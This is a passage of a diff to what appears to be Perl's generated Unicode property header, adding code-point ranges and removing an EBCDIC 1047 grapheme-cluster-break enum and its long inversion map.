+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* ASCII/Latin1 */
 
-#if defined(PERL_IN_REGEXEC_C)
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-#define GCB_ENUM_COUNT 19
-
-typedef enum {
-	GCB_Other = 0,
-	GCB_CR = 1,
-	GCB_Control = 2,
-	GCB_E_Base = 3,
-	GCB_E_Base_GAZ = 4,
-	GCB_E_Modifier = 5,
-	GCB_Extend = 6,
-	GCB_Glue_After_Zwj = 7,
-	GCB_L = 8,
-	GCB_LF = 9,
-	GCB_LV = 10,
-	GCB_LVT = 11,
-	GCB_Prepend = 12,
-	GCB_Regional_Indicator = 13,
-	GCB_SpacingMark = 14,
-	GCB_T = 15,
-	GCB_V = 16,
-	GCB_ZWJ = 17,
-	GCB_EDGE = 18
-} GCB_enum;
-
-static const GCB_enum _Perl_GCB_invmap[] = { /* for EBCDIC 1047 */
-	GCB_Control,
-	GCB_CR,
-	GCB_Control,
-	GCB_LF,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Prepend,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_L,
-	GCB_V,
-	GCB_T,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Extend,
-	GCB_ZWJ,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Glue_After_Zwj,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_L,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
-	GCB_LV,
-	GCB_LVT,
